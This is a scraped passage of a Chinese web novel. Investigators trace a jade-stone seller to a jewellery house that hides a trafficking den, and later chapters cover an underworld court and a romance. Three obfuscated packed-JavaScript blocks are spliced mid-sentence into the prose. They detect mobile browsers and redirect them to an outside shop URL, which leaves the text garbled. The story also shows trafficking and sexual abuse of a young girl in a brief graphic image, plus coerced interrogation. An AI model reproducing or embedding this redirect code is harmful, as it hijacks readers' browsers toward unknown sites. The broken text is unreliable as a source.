祝平安被灰溜溜地赶下来:“你们说我要不要买几个包子,这样她就愿意告诉我们了?” “别白费力气了,我看她八成什么都不知道。”温尔雅摇摇头,“她又不是老板,肯定不知道这店铺以前的事情。” “那就问房东吧。”张松鹤记下地址,回部里调查这处房屋的产权人资料,很快便找到了房东。 跟房东约好时间,再次在“大姨包子铺”门前见面,房东努力回忆:“天与水家具店?店主是个流动摊贩来着,叫朱连福……当时我房子刚好空出来,一时间找不到人来承租,所以就短租给了他。” “基本上没有什么家具出售,不是玉石床垫,就是含磁茶杯,宣传都是能延年益寿调节身体啥的……我当时瞧着就不太靠谱,差役同志,他是不是骗子?”房东的警惕性还蛮高的。 “这件事跟那个没关系,您就说您知道的情况就好了。”张松鹤打断房东的过度发散。 房东继续冥思苦想:“嗯……当时他生意好像也不怎么样,两个月就卖出去七八张床垫的样子,很快就退租不做了。” “您再想想,他长什么样子?家住哪里?”祝平安循循善诱,房东却只是摇了摇头:“他租我的房子,我问人家住哪里干什么?至于长相,也不怎么出众,两个眼睛一张嘴,我也不知道怎么说。” “让我来试试吧。”温尔雅找了个茶馆,又去附近店铺找来纸笔:“你先告诉我,他大概多大年纪?是男是女?身材如何?” “是男的,大约四十来岁吧,身材精瘦精瘦的,个子不高,比我矮半头吧。” “是什么脸型?圆脸?方脸?”见房东难以确定,温尔雅提笔在纸上迅速勾画了几个不同的脸型:“你告诉我,哪个脸型更像他?” 房东犹豫半晌,选中了尖脸,温尔雅继续询问细节:“短发长发?短发?那你记得是什么发型么?” “寸头,哦我想起来了,他左额角有疤痕,秃了一小块。”在温尔雅的引导下,房东回忆起来的东西越来越多了。 “很好,接下来,我会画出几个不同的眼睛,还是请你来选……” 一小时后,温尔雅画出了一张画像,按照房东的说法,虽然不能说是十分相似,但也有七分像了。 想不到温尔雅还有这一手,这次连张松鹤都刮目相看了:“早知道你有这个能耐,当时应该让你到刑侦处去。” 拿着画像,几人开始在店铺附近打探,询问附近店主对他有没有印象,总算是在三天后收获了线索。 那是一位卖水果的老婆婆,看到画像的时候,她眼前一亮,立刻抓住张松鹤:“你们是来抓这奸商的?青天大老爷!可算来了!” 有戏! 三人对了一个眼神,张松鹤立刻掺住老婆婆:“您慢点说,到底怎么个事?” 老婆婆跑回屋里,拿出一个包装盒子,盒子乍一看很高大上,但仔细一看,配色、图案设计都毫无美感可言,一看就是瞄准有钱但没怎么受过教育群体的包装。 老婆婆捧着包装盒:“这个杯子就是那画上的奸商卖给我的,当时跟我说是岫岩玉,有特殊磁场,用这种杯子喝水能调理身体……我一咬牙,就花了十万元买了一个杯子!” 她捧着盒子:“后来身边懂行的人看出来那不是什么岫岩玉,都说我是受骗了,我就回去找他退货,结果他那个店已经关了,我找不见他人!肯定是卷款跑路了,现在你们得给我做主,让奸商给我退货退款!” 张松鹤端详着老婆婆捧着的包装盒,眼前就是一亮:“您这个杯子能给我们吗?” 老婆婆警惕起来:“给你们?那我拿什么去退货退款?” “放心,不就十万么,保证少不了您的!”张松鹤支使温尔雅:“去,给老婆婆拿十万元!” “凭什么又是我给?”温尔雅表示不爽。 “什么叫你给啊?这算是专班的公款,你是管理公款的人,当然你付账。”张松鹤的理由很充分,“又不是占你便宜,瞧你那小心眼的样子!” 温尔雅总觉得他在“小心眼”三个字上加重了读音,忍气吞声地给了钱,三人把杯子捧回去,拿给法医化验。当晚,检验报告就出来了,果然跟床垫是同一批石头。 “看来这个朱连福卖的家具应该是用同一批石头制成的。”祝平安把两份报告放在一起,“一定要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085373|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到他,他应该会知道母石在哪。” “问题是,到哪里去找呢?”温尔雅也有点犯愁了,偌大的羊城,人口近千万,去哪里找一个只知道名字和长相的人呢? “我收回中午那句话,你确定不适合去刑侦。”张松鹤用鄙视的眼神看着温尔雅:“线索放到眼前你都不会看,去了刑侦的话,保证所有沉冤都不得雪。” 温尔雅气的脸抽抽,祝平安心疼了,立刻替他说话:“他在学院的时候也不是公共安全部的学生,哪里懂得刑侦,你要求也太高了。” 温尔雅听见祝平安给他撑腰,立刻又得意起来。张松鹤撇撇嘴,没再说什么,只是拿起杯子的包装盒:“这上面写了生产厂家。” 张松鹤指着那行厂家名字:“朱连福这种经销模式也很常见,介于传销和正经生意之间,回头查一下这个厂家的执照,直接上门去找,来得快些。” 这一次消息回馈就很快了,市监部第二天就给他们传来了生产厂家的执照复印件,地址显示在羊城市中心的一个城中村里。 这也算是羊城的一个特色了,城市里有着大大小小的村落,一路之隔就是豪华的商业区。城中村里的住户仗着得天独厚的位置优势,或是将房屋出租,坐收租金;或是用屋子来开厂,赚的盆满钵满。 依照厂家地址,三人组穿过狭窄无光的三尺巷,经过两侧的握手楼,在犄角旮旯里找到这么一家小小的代工厂。 厂长踩着拖鞋接待了他们,当说到朱连福时,厂长明显有印象:“哦!是他呀,他现在就在我们这里上班!朱连福!你过来!” 一个工人抬起头来,十分迷惑。祝平安从业两年,多少也有了些眼力了,朱连福这一举一动,完全不像是犯罪分子,要真的心虚,这会儿神色肯定就已经不对了。 果然,当问起玉石床垫的事情,朱连福一脸坦然:“哦,你们是为那个来的啊?之前我家老宅子翻修,在地基里刨出一块可漂亮的大石头,看着跟岫岩玉一模一样!” “我听说这种东西能做家具,还能调理身体,这不是,我就拜托厂长也帮我把石头加工了,然后趁着工厂不忙的时候把它们拿去卖了!” 朱连福挠挠头:“不过,生意不是很好,好在我的货品也不多。卖光了我就回来了,也算是小赚一笔!” 祝平安无奈扶额:“你怎么知道那是岫岩玉?” 朱连福一脸迷茫:“啊?不是吗?明明长得一模一样啊!” 张松鹤及时喝止:“他的事情一会儿转市监处理吧,先问重点!朱连福,当时那块大石头都被你拿去加工了?应该还有特殊的部分留下来了吧?” 朱连福一拍脑袋:“是的!这块石头的核心是个晶莹剔透的球,看起来就值大钱,所以我就没有把它加工成家具,而是当成水晶卖了!” 事情至此,终于抓住了核心线索,祝平安的眼睛激动地闪闪发亮:“到底卖到哪里去了?快说!” “一家叫宝华楼的店!” 祝平安眯起了眼睛:宝华楼,那不正是云来大街最近被人投诉拥堵的地方吗? 107.魔鬼的巢穴 三人来到宝华楼,却被柜员噎了回去。 “我们不知道什么水不水晶的,店铺的进货单子都在这里,真的没有过什么水晶,您可以随意查看。”柜员的口气彬彬有礼,态度也很配合,但怎么都透露着一股子敷衍了事的味道。 祝平安翻看进货单,上面确实没有水晶的进项,柜员见她没找到,问道:“您满意了吗?那个小商贩说的话不可信,您还是去别的地方找找吧。” 祝平安直觉柜员是在撒谎,却没有证据,不能轻易指责。他们不是市监的人,没有权利调查进货单子跟货物是否能够对应的上,无法查证是否有非官方进货渠道。 张松鹤拉住了还想说什么的祝平安,将进货单子推回去:“谢谢你的配合,那我们就先离开了。” 祝平安出了门,疑惑道:“柜员说的话你信么?” “一个字都不信。”张松鹤冷眼望去,“但是在这里空耗下去也没办法。” 说到这里,他转回头:“你刚刚说,有投诉宝华楼附近拥堵的案子?” “是的。”祝平安点头,“市民称,半夜的时候宝华楼附近有许多笼车停留不走,阻碍交通。” “深更半夜,宝华楼难道还开门?”张松鹤冷笑,“既然不开门,那车子是哪里来的?一定有古怪。” 他转身就往单位走:“回去好好睡一觉,晚上联合刑侦一起行动,选几个身手好的,今天晚上我还非要看看这宝华楼是怎么回事!” 祝平安想到床垫中发出来的哭声和求救声,心也沉了。她点点头,表示自己明白了。 深夜时分,云来大街上已经一片寂静,就在大家都睡了的时候,却有许多笼车停在宝华楼旁边。 一个个衣冠楚楚的乘客下来,脸上都覆着面具,他们走到宝华楼前,身边的仆人以奇特的频率敲击大门,随之大门拉开,一片猩红的灯光将乘客吞没进去。 在离宝华楼更远一点的地方,祝平安跟张松鹤埋伏在一栋楼的楼顶,架着望远镜观察宝华楼的一举一动。见笼车越聚越多,张松鹤冷笑道:“让大家听我信号,准备动手。” 温尔雅点点头,将命令放了出去,刑侦处的几十名精英像是悄无声息的夜色一般,将宝华楼团团围住,三人检查了一下身上的武器装备,这才走到宝华楼前。 张松鹤打了个响指,只听几声惊呼,驭鸟的车夫们先被拿下,连着车都被拖走拷住,楼前一下空出一大块地方。 张松鹤头一偏,发出无声的指令,温尔雅走上前,用刚刚记住的奇特频率开始敲击大门。 大门缓缓拉开,门内一个同样戴着面具的侍者鞠躬相迎,彬彬有礼道:“客人您好,祝您拥有一个愉快的夜晚。” 侍者说完这话,直起身子,却惊愕的发现来者不是什么戴着面具,藏头露尾的客人,而是一个相貌绝美的男子,身上穿着差役的制服。 他心一紧,刚想大声叫人,便觉得面前一阵劲风袭来,祝平安和张松鹤一左一右向他袭来:“不准动,差役办案!” 侍者只觉后背一阵剧痛,被扑倒在地,祝平安利落地给他上手铐。两年来她一直坐办公室,调解矛盾,好久不跟人实战,手都有点生疏了,好在有张松鹤在侧,她也没有怕的:“转过身,到墙边站着,双手放在我看得见的地方!” 侍者已被制服,差役们鱼贯而入,只见宝华楼的大厅和白日里的珠宝店完全不一样了,暧昧危险的红色灯光下,男男女女戴着面具,饮酒作乐,还有些人在角落里翻着白眼,身边翻倒着酒杯,一看这样子就不单纯。 祝平安拿过他身边的杯子一闻:一股青草味,百分百可以确定是违禁品。 好么,玩的还真大,张松鹤冷笑一声:“全部铐起来,听候处置!” 他们闯入时,店内的客人们似乎还没反应过来,这会儿听到“铐起来”,这才懂得自己是被抓包了。 当场就有人哭了起来,还有人惊慌失措地往外跑,被刑侦处的同事明察秋毫地摁在地上。沾了违禁品的几个人还在那里醉生梦死,身上散发出一股难闻的臭味,被差役们捏着鼻子拖到外面,用绳子捆在一起。 不到十分钟,这些衣冠楚楚的男女都被拷成一排,脸上的面具也都被一一摘下。 说来也奇怪,人这东西只要戴上面具,胆子就大起来,什么都敢做;可如果你在他们做坏事的时候扯掉那些面具,他们就会像现在这样:羞耻、恐惧、哀求、不敢直视你的眼睛。 客人们聚在一起,发着抖,张松鹤锐利的目光在他们身上扫来扫去,被他看到的人都恨不得把脸埋到胸脯里去。温尔雅清点人数:“一共是24人。” “人数不对。”张松鹤在心中比对刚刚看到的场景:“刚才进来的人,分明是28个,还有四个人呢?到哪里去了?” 祝平安把那个侍者推过来,他的面具已经摘掉,显然就是白天那个柜员:“说话!还有四个人到哪里去了?” 侍者冷笑一声,看都不看大家一眼,看来是要顽抗到底了:“不说,你能怎么样?在这里打死我?告诉你,这间店背后的老板,不是谁都能轻易得罪的,我劝你们还是好好想想再做事!” 嘿,嘴还很硬,可惜没用。张松鹤眼皮都不眨一下:“背后有人?什么人?” 他嘴角挂上了一丝残忍的笑意:“你越这么说,我越好奇,倘若他真有你说的那么大能量,为什么不现在就冲出来,把我们都灭口呢?” 他伸手,在侍者惊恐的目光中为他整整衣领:“你要想清楚,老鼠就算再大,也还是老鼠,不敢在光天化日之下招摇过市,而猫再小,也是只猫,也许斗不过大老鼠,可处置你这种小老鼠绰绰有余。” “即使找不到那四个人,你的案子也轻不了,只怕等不到老鼠来处理你的一天了。是跟我们合作,争取死个痛快,还是负隅顽抗,生不如死,你想清楚。” 说罢,张松鹤拉过温尔雅:“你们能有什么花活?不就是密室么……刚好,我们这里有一位查找密室的高手。现在,我给你最后十个数的时间,要是你不说,以后我也用不着你再说了。十、九、八、七……” 当张松鹤数到三的时候,侍者的心里防线终于被击溃,他嗫嚅着低下头:“上到二楼最后一间屋子,打开衣柜,衣柜里有个上锁的活板门,钥匙在我口袋里。” “真乖,这不就对了么。”张松鹤亲昵地拍拍他的肩膀,从他口袋里掏出了一把小钥匙,“走,你带路,到二楼去吧。” 侍者确实被吓破了胆子,没有胡说八道。活板门掀开时,祝平安呼吸一滞,恍然间,她以为自己看到了魔鬼的巢穴。 屋里传来一股浓郁的乳香味,香气在长期不流通的地方发酵,浓烈地令人作呕,却依然掩不住屋内的臭气。 金珠宝钻在粉红的灯光下闪动着糜烂的色泽,地板上铺着猩红色的柔软地毯,四条锁链从墙壁上伸出来,另一端拴在几个人纤细白皙的脖子上。 被拴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089556|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住的人男女都有,肌肤赤裸,四肢着地,几根带刺的皮带就是他们身上唯一的布料。几个男子就站在锁链旁,听到响动,惊愕地转头看着祝平安。 祝平安看见,被栓在墙上的有一个是稚气未脱的女孩子,她脖颈上的项圈上镶嵌着一颗晶莹剔透的水晶,一朵带刺的白玫瑰从她双腿中间生长出来,有鲜血沿着花茎流下,将洁白的花瓣染上了破碎的红。 察觉到有人出现,那个女孩艰难地扭过头,哭着重复了一句已经说了几千次的话语: “救救我。” 这哭声,这话语,跟祝平安从床垫中听到的,一模一样。 这一夜,过的很漫长。 客人、车夫、侍者、受害者、以及公共安全部参与抓捕的人……一百多号人的队伍从云来大街出发,简直是轰动全城! 公共安全部灯火通明,张松鹤亲自上阵,连夜把案子审了一个底掉,魔窟中除了被拴起来的四人,还有十余名受害者。他们被关在宝华楼隐秘的房间,晚上就成为客人们的“狗”,其实真实身份都是被拐骗掳掠来的普通人。 那个稚气的女孩子是胭脂街清吟小班失踪的小丫头,听清吟小班的班主说,这个小丫头并非风月女,真是只是端茶倒水的服务人员。 “明明有合法的风月人士可以提供服务,怎么非要折腾这些普通人?”祝平安怒而询问那四名密室内的罪犯,得到的却是一个令她瞠目结舌的答案。 “都合法了,就没意思了……要的就是禁忌的刺激……” 至于那个清吟小班的小丫头,一名罪犯如实交代:“在清吟小班,我让她陪我一夜,她不同意,我给了她很多钱,可她不要……既然她不喜欢温柔的,我就只能用这种手段了。只要钱给的够,宝华楼什么人都能给我弄到手。” 祝平安忍了又忍,最终还是没有忍住,狠狠给了他一拳。 走出审讯室,祝平安只觉得自己全身都沾满了恶心黏腻的气息,让她胸口烦恶,呼吸不畅。她摇摇晃晃走出大厅,坐到后院,解开两个衬衣扣子,让晨风吹过,这才觉得好些。 “你那一拳,我会记成是抓捕过程中误伤。”身后悄然传来一个声音,张松鹤也是一样卷着袖子从审讯室出来,祝平安伸头看去,张松鹤那个审讯室的人被误伤的更厉害。 祝平安忍不住笑了,只觉恶心感消退了不少。她笑完了,便沉默下来,良久才开口:“一定要推广民诉通。” 让更多的人,去找到更多的蛛丝马迹,在深夜里听清哀伤与痛苦,帮助他们更加精准地拔掉一颗颗毒瘤。 “你放心,我们一定能做到。”张松鹤举起拳头,伸到她面前,祝平安愣了愣,这才举起拳头跟他碰了碰:“一定做到。” 她站起身,拿着口供往温尔雅那边去。温尔雅正在连夜赶稿,把事件的来龙去脉写成纲要,打算立刻发给媒体,为民诉通造势。 门一响,温尔雅抬头,就看见平安跟张松鹤联袂而来,手里也都拿着口供,温尔雅忍下心里的不适感,现在不是想这个的时候。 这件事颇有传奇色彩,通过民诉通投诉了一桩简单的噪音扰民案子,中途发现了会哭的床垫、最终查出拐卖人口的大案要案,多名巨贾牵涉其中……温尔雅一边写,一边笃定,这件事必定会在社会造成轰动,民诉通面对的困难,也将迎刃而解! 还有半个月,就是民诉通二次审核的日子,这次他倒要看看,还有什么能够阻挡他接近鬼民簿! 108.对谈 后土神殿,焚香如缕,钟声低回。 冰月百无聊赖地坐在后土寝殿前,望着紧闭的门扉,低声道:“已经两个时辰了,温尔雅怎么还没出来?” “急什么?”琉琉借口道:“他这一去都两年多了,要把两年的事情说完,可不是就需要这么长时间么。” “没想到这件事情还真让他办成了……”冰月不服气的嘀咕,“帝君定然更加看重他了。” “现在还不能说是办成,只能说是摸到了一点边。”琉琉纠正他,心不在焉道:“不过,两年多就能找到办法清查鬼民簿……” 她扪心自问,如果是她处在温尔雅的位置上,能不能在两年多的时间里做到这步。虽然她不愿意承认,但答案自然是否定的。 他能够做成这件事,对他帮助最大的正是那个人类女子。琉琉嫉妒地想,温尔雅果然无利不起早,而且看人的眼光也太准了吧! 难怪又是帮她抽奖,又是逢春散,还会为了那人类女子操纵投胎……对方真的就青云直上,现在一路升到公共安全部副部长了,还大有希望独领一部! 这算什么?成长型投资? 她眯着眼睛,揣摩温尔雅现在会跟帝君说什么,是期许办完事情后,得到帝君赐予的珍宝?还是恳求帝君再次加深大祭司的权柄,让他的地位更加高出众人? 而在琉琉看不见的地方,温尔雅恭谨地跪伏在地:“……帝君,二次审核是民诉通最后的机会,我需要您的力量。” 香烟深处,传来一个威严的声音:“说说你想怎么做。” “虽说这次我对民诉通的信心很足,但为了大业,我希望此次能够达到万无一失。”温尔雅试探性地问道:“十殿阎王中,大多都对您心存畏惧,我能不能……” 香烟中的女人沉默了片刻,这才轻轻点了一下头。 温尔雅松了一口气:“接下来,我想要跟您讨论的是,民生诉求部成立后的事情。” “帝君,您觉得我是应该留在公共安全部,还是民生诉求部?亦或是功成身退,重归六道轮回部?” 这些选择各有利弊,温尔雅问出这句话时,手掌心都在冒冷汗。 以张松鹤对祝平安的情愫,他有十成十的把握,张松鹤不会再把祝平安留在公共安全部,这样,他跟祝平安之间就不再有上下级关系的束缚,更方便他展开追求。 而如此一来,温尔雅的身份就尴尬了,若是留在没有祝平安的公共安全部,自然最是索然无味;若去往民生诉求部,更方便他调查游魂失踪之迷,也能跟平安形影相伴,但那样两人的关系就始终不能曝光,总要受男绿茶的气。 而回到六道轮回部么,倒是能让他以原本身份出现,未来也方便他做事。可是,那样离平安就远了…… 他心中矛盾重重,一时间自己也不知道如何选,此刻,唯有请帝君明示。 后土帝君笑了一笑,问道:“怎么,我的孩子?这一次,你居然想要询问我的意见了么?” “当你从琢玉学院毕业时,毅然决然地从街镇行政部转投公共安全部的时候,怎么没想过问我的意见呢?” 温尔雅冷汗涔涔,将身子伏的更低:“……我自作主张,请帝君恕罪。” “可是,那是个正确的选择,不是吗?”后土帝君似乎不以为忤,“若不是你自作主张,现在,又怎么能接触到鬼民簿呢?” “我的孩子,你有心事。”后土帝君睁开眼睛,“你是我最聪明的孩子,几乎没出过任何差错,你的决定总是最正确的,这一次,是什么在阻碍你?什么让你失去了理智的头脑,变得纠结迷茫,烦乱不堪?” 温尔雅咬着嘴唇,想要说什么,后土帝君却道:“别遮掩了,你是为了一个姑娘,是吗?” “……是。” 温尔雅面上闪过一丝羞涩,后土大神反而笑了起来。 “多少年没看到过你这个表情了?”她笑容慈爱,“从你做了大祭司之后,你从未露出过这个表情。可你这个无措的样子,才像是我的孩子。” 后土大神叹了口气,她挺直的腰肢软下来了,神的味道从她身上褪去,母亲的亲和从她身上泛上来:“其实我一直盼着这一天,孩子。一直以来,你太孤独了。” “跟我说说那个姑娘吧,她是什么样的人?” “她……她是……”温尔雅张了张嘴,突然发现,其实所有美好的词汇,都不足以用来形容祝平安,最终,他只说:“我说不出来。” 他抬手,指指自己的心:“她就在这里,长在我心口上,自从她搬进我的心里之后,我再也不觉得寂寞和寒冷。” “那就好,孩子,希望你们永远能够幸福。”后土帝君温和地看着他:“时机合适的时候,也带她来见见我吧,我想,她值得拥有我的祝福。” 温尔雅羞怯地低下头,能够面见后土帝君是一种荣耀,除了祭司们之外,几乎无人能获此殊荣。帝君这样说,其实就是同意的意思:“是,时机合适的时候,我一定会带她来拜见您的。” “至于你要去哪个部门,你不要问我,还是问你自己吧。对你来说,最重要的是什么?是完成身为大祭司的职责,还是……你心底那小小的渴望呢?” 温尔雅脸上闪过一丝感激,张口欲说什么,却别后土帝君阻止:“先别忙着做决定,你有很长的时间慢慢去想,无论你最后的决定如何,我都相信你不会做出错误的决定的。” “……是,多谢帝君。” 情况已经交代完了,温尔雅最后向帝君叩首三次,这才想要退出去,却在即将出门的一刻被叫住了。 “孩子,我嘱咐你做的事情,你一直做得很好,但,那不代表着你拥有为所欲为的资格。”后土帝君已经恢复了神明那端正的坐姿,“轮回井毕竟是属于我的,我能够清晰的分辨每个灵魂的去向,你明白吗?” 温尔雅的心头重重一跳,几乎是瞬间再次跪在地上,不敢抬头。香烟中的神明淡淡道:“这是一些无伤大雅的小事没错,但是我也要提醒你,我的孩子,事不过三,我不希望再看到,你涉足一些不被允许的事情……” “孩子,不要辜负了我对你的宠爱。” 这句话说完,后土帝君才彻底不再说话,温尔雅端端正正地跪在地上,向她叩首九次,请罪已毕,这才躬身退下,顶着额头一片红痕,不去看另两名祭司那震惊的眼神,匆匆离开。 等他回到家时,已经是深夜了,他这次出门时,没有告诉祝平安他要去哪里,祝平安也没有追问。 他本以为她已经睡着了,却不想,当他推开大门的时候,屋里居然还亮着灯火,祝平安穿一身鸭子睡衣迎上来:“你回来了?” 他意外极了:“你怎么还没睡?” “我也想睡的,可是睡不着。”祝平安也无奈地笑了,“身边没了你,总觉得空落落的,做什么都不舒服。” 温尔雅从门外的暗夜一步跨入温馨的灯光下,他回身,把黑暗关在门外,张开双臂,将她紧紧圈进怀中:“我也一样。” 她刚刚洗过澡,身上散发着好闻的薄荷气息,这是他挑选的沐浴露,这种气味总是让他能想起她,现在,他把整个脸都埋在她的脖颈处,贪婪地嗅着,只觉得身心都放松下来:“平安……我也一样。” “你今天不开心?”祝平安像是哄小孩子一样拍着他的背,“为什么?” “没什么。”温尔雅没有让她看到自己的表情,“也许刚刚有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098231|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点不开心,但是看到你,那些不开心就飞走了。” 祝平安却没有那么轻易就被他哄住:“真的没有不开心?” 她抬起温尔雅的头,对上他躲闪的眼睛:“还是说,你有事情,不能告诉我?” 温尔雅不敢回答她这个问题,祝平安心中不由得渐渐漫上一点淡淡的失落。她能够理解他有隐私,可她不认为,那意味着他连心事都不能跟她分享。 “告诉我吧。”她拉着他坐在沙发上,将他拥在自己的怀抱里,下巴抵在温尔雅的头发上,“是什么让你不快乐?” 她知道他不想说,于是道:“我来提问,你来点头摇头好吗?你是因为工作的事情不开心?” 温尔雅点点头。 “这个事情跟民诉通有关?” 这次依然是点头。 “民诉通的推广受阻了?” 摇头。 “那是因为什么?”祝平安问不出问题来了,她疑惑道:“既然一切都好好的,你这是……” “别乱猜了。”温尔雅将自己的手撒娇般的挤入她双手之间,让她温热的双掌包裹住他的手,“很快,我就会把全部的事情都告诉你……可在那之前,我还是不能说。” “好吧。”祝平安用脸颊蹭着他的头发,“但是,有什么不开心的话,可一定要讲哦!” 温尔雅贪恋地揽着她不松手,为了这样的她,小小地打破一些规则又何妨?甚至,受男绿茶的气也不是那么难熬。 只要能跟她每天、每时、每刻都在一起,他什么都可以接受。民生诉求部……其实也不坏,不是么? 一封封印着后土神殿纹章的信件飞往了地府各处,催动着暗流潮涌。地府某处,陆判官将收到的信件往前一推:“尔旦,你意下如何?” 朱尔旦沉吟片刻,便道:“这件事,还是要看你和府君的意思。” “起初,我们还以为民诉通只是那个张松鹤穷极无聊折腾出来的新东西,关联到鬼民簿只是巧合,没想到,他背后还有后土神殿……”大胡子男人手指轻轻敲打在桌子上,“这样的话,民诉通更加不能留了啊……” “上次民诉通不是没有通过审核吗?这一次,难道不能故技重施,只要府君能鼓动20%的人站在我们这一边,那就万无一失了!” “一时一势,现在那个民诉通立了大功劳不说,还有后土神殿的授意推广,虽说后土帝君手里没什么实权了,但是十殿阎王仍然对其马首是瞻,其余府君也不会明着跟阎王们唱反调……这一次想用二次审核来卡他们,难。”大胡子摇了摇头,“府君会尝试在官面上卡他们一手,但也让我们别抱太大的希望。” “那我们要怎么阻止?”尔旦抬眼,吞吞吐吐道:“宝华楼的事情还没完,暗线也是举步维艰,若是这时候再出点什么事情,那就……” “那就什么?”陆兄一瞪眼,面孔显得更加狰狞恐怖,“若是真让张松鹤把那个民诉通推广开,清查了鬼民簿,我们更要陷入万劫不复之地!” “这是我们最后一次机会,无论付出多大代价,都要在萌芽阶段将它铲除掉……” “您的意思是?”尔旦额边流下一滴冷汗,“杀?” 见大胡子点头,他急了:“可是张松鹤不是一般人,即使用了暗线的人,在他手下也走不过十招……” 大胡子高深莫测地笑了:“杀不得,难道还困不得吗?” “这世上,有一个地方,进去之后就永远出不来了,你仔细想想,开启它的钥匙,不就在你手里吗?”大胡子拍拍尔旦的的肩膀,“记住,这次要做的干净利落,成败在此一举,若是不成功……” 他比划了一个砍头的手势:“咱们谁也别想逃!” 109.二次审核 二次审核日就这样到来了,这一天,公孙先生特意来接张松鹤和祝平安去第五政务厅。温尔雅自己不能去,便着意打扮祝平安:“要塑造干练的形象,这样对你有利!” 祝平安紧张极了,温尔雅给她系领带的时候,她一直嚷着让温尔雅系松点:“我都要喘不过气来了!” “放松,这次咱们一定会获得成功的!”温尔雅一边安慰她,一边手下一用力,将领带结推到祝平安咽喉最下面,紧的她呃一声差点背过气去。 “领带不紧就不够庄重了,显得整个人不够沉稳。”温尔雅一边给祝平安整理仪表,一边阴阳怪气,“如果一直不修边幅,就会仕途不顺,说不定还会连累民诉通的前途哦!” 张松鹤抄着手在一边等,胸前衬衫扣子只是松松扣了几颗,没系领带,露出线条优美的锁骨,整个人都写着“放纵不羁爱自由”几个大字。听到温尔雅阴阳他,也是抱之一笑:“说得对,我就是个坏榜样,这种事可不能学我。” 温尔雅一拳打在棉花上,也不好再说什么,只能嘀嘀咕咕地给祝平安梳顺每一根头发丝,又带上钻石袖扣,这是在十殿阎王和三十四位府君面前露脸的大日子,他力求让她处处完美,给大家留下最好的第一印象。 一切准备就绪,温尔雅忍痛把自己光彩照人的女王交到张松鹤手上,目送两人并肩站立,都是一样英姿飒爽,心里阵阵吃味。 祝平安一无所觉,坐上笼车对着下面挥手:“祝我们旗开得胜吧!” 宋清辉第一个响应:“一定要成功啊!我事业的第二春就靠你了!” “没错!带着大家一块飞黄腾达吧!”蔡家也跟着起哄。 “一定会成功的,平安!”温尔雅最为笃定,“就当是走个过场,审核结束后早点回来!” 一定要努力!祝平安握紧拳头,张松鹤看着好笑:“你也太紧张了,其实不过就是做个报告而已,大的方向都是我来做,你只需要负责把宝华楼的案子说一遍就行了。” “记住,你要表达的东西,就是民诉通能够发现蛛丝马迹,避免恶性案件发生,提升案件侦破率,别的自有我来阐述。” “话虽如此,还是很紧张啊!”祝平安头大:“要么,我先说一遍给你听听,练习一遍?” “练习什么。”张松鹤好笑,“实话告诉你吧,这次我们二次审核是必定会通过的。” 他眨眨眼:“包大人已经向我暗示过了,这个计划在十位阎君处都得到了支持……” “可是还有三十四位府君……” “哟哟,看你,紧张的脑子都不好使了。”张松鹤摸摸她额头:“也不烫啊,怎么开始说胡话了?” “十位阎君同时决定推广的事情,真的会有人公开唱反调吗?”张松鹤收回手,“温尔雅说我们是去走过场的,这句话倒也没错。” 哈?也就是说,其实民诉通推广的事情已经内定了? 祝平安忽然心头诡异的涌上一阵安心感,她一向是讨厌内定这一套的,但是轮到自己被内定,不得不说还是有点暗爽的。 她松口气,很没形象地摊在一边,伸手就去扯自己的领带:“早说啊,这样温尔雅就不用给我系这么紧了……” “别扯啊!”张松鹤连忙制止:“这可是他辛辛苦苦给你系的,就算是过场,也要走的漂亮,带你去本来就是为了让你展现良好形象的,你别动!” 但是他话已经说晚了,祝平安已经把领带扯松了一半,听到他的话语,心虚地嘿嘿笑:“那怎么办?我不会系领带。” “这个我也不会……”张松鹤也挠头了。 叹口气,他认命地招招手:“过来,让我研究一下。” 祝平安乖乖坐到他身边,他凑近,去研究温尔雅之前系好的那个复杂的结。 他专注地拨弄那条领带,呼吸喷在祝平安脖颈处,她有点不适应地往后一躲。张松鹤眯起眼睛,抓住领带轻轻一扯,将她拉了回来:“别乱动。” “你在牵小狗吗?”祝平安被领带拉了回来,感觉有点丢面子,脸也不自觉的红了。 “我可没有这么不听话的小狗。”张松鹤抓住领带,再次将她往自己的方向拉了拉,“说了别乱动,一会儿还想不想表现得稳重可靠了?” 祝平安努力忍住被他呼吸喷到脖颈的酥痒感,他的手指被风吹的微凉,在打结的过程中,指尖不时抚过她的锁骨和脖子,异样的火花在她身体里蠢蠢欲动。祝平安扭过脸不去看他:“还没好?” “毕竟,我比温尔雅笨拙多了,不是吗?”张松鹤的声音从耳侧传来,“我的动作,一向都比他慢一点。” 他依照领带上的折痕慢慢尝试着,终于复刻出了那个完美的结,往上一推:“可是,只需要给我时间,我相信,我也能做的跟他一样好。” 